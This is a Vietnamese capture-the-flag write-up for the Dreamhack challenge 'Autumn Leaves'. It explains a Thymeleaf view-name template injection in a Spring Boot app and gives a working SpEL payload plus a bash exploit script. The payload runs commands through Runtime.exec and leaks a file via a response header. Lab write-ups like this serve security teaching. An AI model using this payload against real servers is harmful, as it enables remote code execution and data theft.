--- # Autumn Leaves ## **1. Brainstorm:** Dựng challenge ở local bằng Docker. ![image](https://hackmd.io/_uploads/H1gIpuCEZl.png) Truy cập web server tại `http://localhost:8080`, ta thấy trang chủ: <!-- ![image - Trang chủ Autumn Leaves] --> ![image](https://hackmd.io/_uploads/BJ2RpORV-e.png) Phân tích `MainController.java`: ```java package com.example.autumn_leaves.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.ui.Model; @Controller public class MainController { @GetMapping("/") public String main(){ return "index"; } @GetMapping("/user") public String router(@RequestParam(required = false, defaultValue = "guest") String id){ return "user/" + id; } @GetMapping("/error_page") public String pageError(@RequestParam("status") String status, Model model){ model.addAttribute("status", status); return "error"; } } ``` Ta thấy `MainController.java` có xử lý endpoint `/user`: ```java @GetMapping("/user") public String router(@RequestParam(required = false, defaultValue = "guest") String id){ return "user/" + id; } ``` Tại route `/user`, tham số `id` được lấy từ người dùng (User input) và nối trực tiếp vào chuỗi trả về `return "user/" + id;`. Trong Spring Boot với Template Engine Thymeleaf, khi Controller trả về một String, nó được coi là **View Name**. **ThymeleafViewResolver** sẽ cố gắng tìm file template tương ứng, nếu không tìm thấy thì sẽ ném ra Exception (hoặc báo lỗi tuỳ vào config). Nếu Exception không được ****try-catch**** thì Spring Boot sẽ forward request đến `/error` , nơi mặc định để xử lý các lỗi (error handling path) khi có sự cố xảy ra trong ứng dụng. File `MyErrorController.java`: ```java package com.example.autumn_leaves.controller; import org.springframework.boot.web.servlet.error.ErrorControll er; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.view.RedirectView; import javax.servlet.RequestDispatcher; import javax.servlet.http.HttpServletRequest; @Controller public class MyErrorController implements ErrorController { @RequestMapping("/error") public RedirectView handleError(HttpServletRequest request) { Object status = request.getAttribute(RequestDispatcher.ERROR_STATUS_CODE); if (status != null) { Integer statusCode = Integer.valueOf(status.toString()); return new RedirectView("/error_page?status=" + statusCode); } return new RedirectView("/error_page?status="); } @Override public String getErrorPath() { return "error"; } } ``` Ta thấy `MyErrorController.java` đang triển khai `/error` handler với 2 trường hợp là có lỗi có status code hoặc không, nhưng chung quy đều sẽ được đưa tới `/error_page` và trả về `error.html` Vấn đề nằm ở chỗ Thymeleaf có tính năng **Preprocessing** cho View Name. Nếu tên View chứa biểu thức đặc biệt như `__${...}__`, Thymeleaf sẽ thực thi biểu thức đó trước khi tìm file template. Đây là lỗ hổng **Server-Side Template Injection (SSTI)**. Tiếp theo, ta xem `Dockerfile` để biết vị trí của Flag và cấu hình server: ```dockerfile FROM eclipse-temurin:8-jdk-jammy ENV USER author ENV PORT 8080 RUN adduser --disabled-password $USER WORKDIR /app COPY ./deploy/autumn-leaves-1.0-SNAPSHOT.jar . RUN apt-get update && \ apt-get install -y gcc COPY ./deploy/flag.c /flag.c RUN chmod 444 /flag.c && \ chown root:$USER /flag.c USER $USER EXPOSE $PORT CMD ["java","-jar","./autumn-leaves-1.0-SNAPSHOT.jar"] ``` File `flag.c` được đặt ở thư mục gốc `/` và chỉ có quyền đọc (`444`). Đồng thời web server chạy dưới quyền user `author` (quyền thấp). ```dockerfile COPY ./deploy/flag.c /flag.c RUN chmod 444 /flag.c USER author ``` ## 2. Exploit: **Hạn chế:** Khi thử payload cơ bản để đọc file, ta gặp trở ngại: Endpoint `/error_page` (do `MyErrorController` quản lý) và file `error.html` không hiển thị chi tiết lỗi Exception. Điều này có nghĩa là chúng ta đang đối mặt với dạng **Blind SSTI**. **`error.html`** ```html <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>Error</title> <link rel="stylesheet" th:href="@{css/error.css}"> </head> <body> <div class="error-container"> <h1>Oops!</h1> <p>Something went wrong. We're sorry for the inconvenience.</p> <p th:if="${status}">Error Code: <span th:text="${status}"></span></p> <a href="/" class="button">Go Home</a> </div> </body> </html> ``` Và khi kiểm tra Specfile, ta thấy `allow_outgoing = false`. Điều này chặn đứng hướng tấn công OOB (Out-of-Band) thông thường qua `curl` hay `wget` ra server của hacker. ``` [wargame] title = Autumn Leaves flag = **REDACTED** tags = web [vm] os = linux memory = 128 disk = 1024 ports = 8080/tcp allow_outgoing = false docker_compose = false ``` --> Blind SSTI nhưng không OOB được. **Hướng giải quyết: Response Injection (In-Band Exploitation)** Vì code thực thi được viết bằng Java (thông qua `SpEL`), ta có thể can thiệp trực tiếp vào đối tượng `HttpServletResponse` của request hiện tại để gửi dữ liệu về client mà không cần thông qua `View Resolver`. Chúng ta sẽ sử dụng `RequestContextHolder` để truy cập Request hiện tại, lấy Response object, và thêm một Header tùy chỉnh chứa nội dung Flag. **Xây dựng Payload:** Payload `SpEL`: * `T(org.springframework.web.context.request.RequestContextHolder)` : Truy cập Static Class * `currentRequestAttributes().getResponse()` : Lấy đối tượng Response hiện tại * `addHeader("X-Flag", ...)` : Ghi flag vào Header X-Flag * `Runtime.exec()` : Chạy lệnh bash pipeline * `base64 -w 0 /flag.c` : Đọc file flag.c và encode base64 để tránh lỗi ký tự đặc biệt (dấu #, xuống dòng) làm hỏng Header. Java code tương ứng với payload trong `exploit.sh` ```java HttpServletResponse resp = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse(); Process p = Runtime.getRuntime().exec(new String[]{"/usr/bin/base64", "-w", "0", "/flag.c"}); Scanner s = new Scanner(p.getInputStream()); String b64 = s.next(); resp.addHeader("X-Flag", b64); ``` Việc dùng `new String[]{"cmd", "arg"}` trong `exec()` là để tránh lỗi phân tách tham số khi có khoảng trắng. Script `exploit.sh` tự động hóa quá trình tấn công: ```bash #!/bin/bash TARGET="http://host8.dreamhack.games:22791" #1. Payload sử dụng RAW_PAYLOAD='guest :: __${T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().addHeader("X-Flag",new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new java.lang.String[]{"/usr/bin/base64","-w","0","/flag.c"}).getInputStream()).next())}__' # 2. Encode Payload # Sử dụng Python để URL Encode payload vì payload chứa nhiều ký tự đặc biệt như $ { } " ENCODED_PAYLOAD=$(python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" "$RAW_PAYLOAD") # 3. Gửi Request & Lọc Header # Curl -I: Chỉ lấy Header # grep X-Flag: Lọc dòng header chứa flag RESPONSE_HEADERS=$(curl -s -I "$TARGET/user?id=$ENCODED_PAYLOAD") BASE64_FLAG=$(echo "$RESPONSE_HEADERS" | grep -i "X-Flag:" | awk '{print $2}' | tr -d '\r') # 4. Decode & Compile & Run # Nội dung file flag.c lấy được là source code C, cần biên dịch để chạy. echo "$BASE64_FLAG" | base64 -d > real_flag.c gcc real_flag.c -o real_flag ./real_flag ``` **Thực hiện script:** Ở đây ta làm ở local và file zip đề cho cũng không cho file `flag.c` để test nên ta sẽ tự dựng 1 file `real_flag.c` để test payload trong quá trình giải trước khi làm ở remote. `real_flag.c` ```C #include <stdio.h> int main() { printf("DH{fake_flag_for_testing}\n"); return 0; } ``` Sau khi chạy, script tự động biên dịch code C lấy được từ server và thực thi nó để in ra flag. ![image](https://hackmd.io/_uploads/BkEHzK0NZe.png) ## **3. Reference:** https://cwe.mitre.org/data/definitions/1336.html